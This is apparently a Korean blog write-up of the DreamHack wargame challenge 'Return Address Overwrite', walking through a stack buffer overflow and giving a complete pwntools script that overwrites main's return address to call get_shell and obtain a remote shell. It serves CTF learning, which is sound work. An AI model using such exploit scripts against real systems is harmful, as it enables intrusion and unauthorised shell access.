본문 바로가기

DreamHack

Return Address Overwrite

https://dreamhack.io/wargame/challenges/351

 

Return Address Overwrite

Description Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.

dreamhack.io

 

 

I.  문제 개요

 

문자열을 입력하는 부분에서 오버플로우를 일으켜, main 함수의 반환주소를 덮어써야 하는 문제이다.

 

II.  취약점 분석

"segmentation fault" 에러가 발생한 모습

 

 

알파벳 A를 여러번 입력하면 에러가 발생한다.

 

그 이유는 오버플로우가 발생하여, 메모리 영역을 무단으로 침범했기 때문이다.

 

이를 통해 버퍼 오버플로우 취약점이 있다는 사실을 파악할 수 있다. 

 

자세히 알아보기 위해, 주소 "0x0000000000400719"에 breakpoint를 걸고 주어진 바이너리를 실행해보자.

 

어셈블리어로 변환된 main 함수

 

스택의 모습

 

 

어셈블리어 덤프의 <+35>, <+39> 에서는 48(0x30)바이트 만큼의 추가적인 공간을 스택에 할당해준다.

 

스택을 살펴보면, 주소 (rbp+0x8) 에는 main 함수의 반환 주소가 들어있다.

 

56(0x38)바이트 만큼을 임의의 값으로 덮은 다음, 주소 (rbp+0x8) 에 들어있는 반환 주소를 "get_shell" 함수의 주소로 변경하면 shell을 얻을 수 있다.

 

get_shell 함수의 주소

 

여기서 "get_shell" 함수의 주소는 0x4006aa이다.

 

III.  익스플로잇

1. 공격 준비

from pwn import *
from pwn import p64, ELF


HOST = "host3.dreamhack.games"   # 접속 정보
PORT = 9961                # 포트 번호
E = ELF("./rao")           # 주어진 바이너리 파일

p = remote(HOST, PORT)     # 원격 접속
context.arch = "amd64"

 

필요한 라이브러리를 불러오고, payload 구성 및 전송에 필요한 준비를 한다.

 

2. payload 제작

buffer_cover = b'E'*0x30      # 30바이트만큼 덮어쓰기
sfp_cover = b'A'*0x8          # SFP 영역을 8바이트만큼 덮어쓰기
ret_addr = p64(E.symbols['get_shell'])            # main 함수의 반환 주소를 get_shell 함수의 주소로 덮어쓰기

payload = buffer_cover + sfp_cover + ret_addr     # 전체 payload
print(payload)

 

우선 스택 영역과 SFP가 자리한 공간을 전부 채울 값을 만든다.

 

다음에는 "get_shell"의 주소를 알아내고, p64를 이용하여 그 값을 64bit little endian 으로 패킹한다.

 

마지막으로, 위의 두 값을 서로 이어줌으로써 공격에 사용할 수 있는 payload를 만들 수 있다.

 

 

3. payload 전송

p.send(payload)   # payload 전송
p.interactive()   # shell 획득

 

위의 코드를 활용하면, 앞서 만든 payload를 전송하고, shell을 획득할 수 있다.

 

shell 획득에 성공한 모습

 

flag 획득

 

 

IV.  풀이 코드

from pwn import *
from pwn import p64, ELF


HOST = "host3.dreamhack.games"   # 접속 정보
PORT = 19262                # 포트 번호
E = ELF("./rao")           # 주어진 바이너리 파일

p = remote(HOST, PORT)     # 원격 접속
context.arch = "amd64"

buffer_cover = b'E'*0x30      # 30바이트만큼 덮어쓰기
sfp_cover = b'A'*0x8          # SFP 영역을 8바이트만큼 덮어쓰기
ret_addr = p64(E.symbols['get_shell'])            # main 함수의 반환 주소를 get_shell 함수의 주소로 덮어쓰기

payload = buffer_cover + sfp_cover + ret_addr     # 전체 payload
print(payload)

p.send(payload)   # payload 전송
p.interactive()   # shell 획득

'DreamHack' 카테고리의 다른 글

basic_exploitation_001  (0) 2024.04.11
basic_exploitation_000  (0) 2024.04.10
XSS-1  (0) 2024.02.05
cookie  (0) 2024.01.30
Switching Command  (1) 2024.01.25